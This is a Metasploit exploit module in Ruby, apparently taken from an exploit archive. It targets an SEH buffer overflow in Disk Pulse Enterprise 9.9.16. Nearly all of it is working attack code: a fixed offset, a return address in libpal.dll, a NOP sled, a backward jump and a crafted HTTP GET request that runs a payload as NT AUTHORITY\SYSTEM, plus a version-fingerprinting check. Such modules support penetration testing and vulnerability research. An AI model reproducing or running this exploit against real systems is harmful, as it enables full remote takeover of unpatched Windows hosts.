Disk Pulse Enterprise 9.9.16 GET Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',  
'Description' => %q(  
This module exploits an SEH buffer overflow in Disk Pulse Enterprise  
9.9.16. If a malicious user sends a crafted HTTP GET request  
it is possible to execute a payload that would run under the Windows  
NT AUTHORITY\SYSTEM account.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chance Johnson', # msf module - [email protected]  
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com  
],  
'References' =>  
[  
[ 'EDB', '42560' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'EncoderType' => "alpha_mixed",  
'BadChars' => "\x00\x0a\x0d\x26"  
},  
'Targets' =>  
[  
[ 'Disk Pulse Enterprise 9.9.16',  
{  
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll  
'Offset' => 2492  
}]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Aug 25 2017',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(80)])  
end  
  
def check  
res = send_request_cgi(  
'uri' => '/',  
'method' => 'GET'  
)  
  
if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
print_status("Generating exploit...")  
exp = payload.encoded  
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset  
exp << generate_seh_record(target.ret)  
exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode  
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start  
exp << 'B' * (5000 - exp.length) # padding  
  
print_status("Sending exploit...")  
  
send_request_cgi(  
'uri' => '/../' + exp,  
'method' => 'GET',  
'host' => '4.2.2.2',  
'connection' => 'keep-alive'  
)  
  
handler  
disconnect  
end  
end  
`